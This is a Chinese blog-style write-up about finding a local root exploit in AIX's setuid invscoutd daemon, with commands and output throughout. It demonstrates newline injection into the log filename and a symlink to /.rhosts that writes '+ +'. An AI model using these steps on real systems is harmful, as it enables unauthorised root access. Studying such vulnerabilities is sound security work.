分享
 
 
 

发现病毒?AIX捉虫记之——invscoutd

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

平台信息:

-bash-2.05b$ oslevel

5.1.0.0

-bash-2.05b$ oslevel -r

5100-01

按八字排列今天应该考查invscoutd命令了

-bash-2.05b$ ls -l /usr/sbin/invscoutd

-r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd

-bash-2.05b$man invscoutd

…………

The invscoutd command implements a permanent Inventory Scout server daemon on

one machine in a user's local network. The usual client is a Java applet running

in the user's Web browser, which was downloaded from a central Inventory Scout

CGI application.

…………

再来看看这个命令的长相:

-bash-2.05b$ invscoutd

invscoutd: Missing log file name.

Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@

USAGE: invscoutd [options] logfile <-- 还写日志文件的说。

logfile Append status and err msgs. '-' means write to stderr.

-o Overwrite preexisting log file instead of append. <-- 还可以覆盖已有文件的说

-pN Change port number to N from default 808. <-- 默认监听在808端口

-bN Change read buffer size to N from default 1024.

-dN Change max logic db file size to N from default 50000.

-tN Change timeout period to N seconds from default 30 seconds.

-vN Change verbosity level to N from default 18, <--支持交互级别,级别越高记录信息应该越详细

25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.

依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,就先考查一下他的这个日志文件吧

-bash-2.05b$ ls -l /tmp/bb

ls: 0653-341 The file /tmp/bb does not exist.

-bash-2.05b$ invscoutd /tmp/bb

Inventory Scout Version 1.3.0.0

Logic Database Version 1.3.0.0

Start invscoutd 2.0.2:

p=808 u=0 v=18 t=30 d=50000 pid=17028

flog=/tmp/bb

-bash-2.05b$ ls -l /tmp/bb

-rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb

哇噻~~,权限果然有问题!!日志文件是root所有的说!!

-bash-2.05b$ id

uid=203(cloud) gid=1(staff)

看来没错,是个漏洞,那我能利用这个漏洞做什么呢??

想想……

至少可以把系统重要配置文件破坏掉吧,哈哈……

再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),我们可以用这个漏洞创建这个文件,要是之前执行一次umask 000

创建的文件我们就有修改权限了 ^_^

这样我们就可以任意改写文件内容了,如:/.rhosts中加一行

+ +

可惜r系列服务使用.rhosts时会对文件属性进行检查:

如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!

看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~

我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~

回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件把自己变为root了吗?

赶紧来看看日志文件里写了什么内容:

-bash-2.05b$ cat /tmp/bb

2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0

2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0

2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:

p=808 u=0 v=18 t=30 d=50000 pid=17028

flog=/tmp/bb

里面好像就flog=/tmp/bb和输入有关。

再试试,看这个问题能不能重现.

-bash-2.05b$ invscoutd ./aa

Inventory Scout Version 1.3.0.0

Logic Database Version 1.3.0.0

Exit code 2, pid 536968056.

看来还得先杀掉老的进程才能再试。

-bash-2.05b$ ps -ef |grep invs

cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa

cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs

-bash-2.05b$ kill -9 15526

看看刚才出错记录到log文件了没?

-bash-2.05b$ ls -l ./aa

ls: 0653-341 The file ./aa does not exist.

没有的说。

我再试试,我非要重现一次才放心.

-bash-2.05b$ invscoutd ./aa

Inventory Scout Version 1.3.0.0

Logic Database Version 1.3.0.0

Start invscoutd 2.0.2:

p=808 u=0 v=18 t=30 d=50000 pid=15526

flog=./aa

-bash-2.05b$ ls -l ./aa

ls: 0653-341 The file ./aa does not exist.

咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。

这次学乖了,先杀掉进程。

-bash-2.05b$ ps -ef |grep invsc

cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc

cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa

-bash-2.05b$ kill -9 17028

…………

经测试,果然能重现,放心了~~

想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,都必须要能完整的控制一行写入文件的内容,日志中能控制的是:flog=输入文件名部分,那面文件名中带换行符就可以控制一行的内容了,如:aaaa\n完整的一行\naaaa这种形似的文件名。

但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,刚好以前学的perl派上了用场 ^_*用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",看看能不能产生一个单独的一行记录内容+ +

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'

Inventory Scout Version 1.3.0.0

Logic Database Version 1.3.0.0

Start invscoutd 2.0.2:

p=808 u=0 v=18 t=30 d=50000 pid=16282

flog=/tmp/bbbbb

+ +

ddd

-bash-2.05b$ cat /tmp/bbbbb*

2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0

2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0

2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..

2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.

2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0

2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0

2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:

p=808 u=0 v=18 t=30 d=50000 pid=16282

flog=/tmp/bbbbb

+ +

ddd

嘿嘿,可以的说!!

-bash-2.05b$ ls -l /tmp/bbbbb*

-rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb

+ +

ddd

那我们如何写"\n+ +\n"内容到/.rhosts呢?

想想……

再想想……

呵呵,我想到了,你想到了吗?

再给你5分钟,好好想想~~

如果直接执行invscoutd /.rhosts

肯定不行,里面不会有我们期望的

+ +

行。

如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'

向log文件写入

+ +

成功,

但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,再想想…………

归纳一下,问题核心是想把A文件名写入B文件中,Unix下的符号链接好像就是这个桥梁耶~

我们建立一个A - B的符号连接不就行了!

ln -s B A

然后

invscoutd A

应该就成了。

开始行动:

-bash-2.05b$ ls -l /.rhosts

ls: 0653-341 The file /.rhosts does not exist.

建立A - B的符号链接:

-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'

这里B是"/.rhosts"

A是"/tmp/cc\n+ +\ndd"

-bash-2.05b$ ls -l /tmp/cc*

lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc

+ +

dd - /.rhosts

来,执行之

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'

Inventory Scout Version 1.3.0.0

Logic Database Version 1.3.0.0

Exit code 2, pid 536968072.

-bash-

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有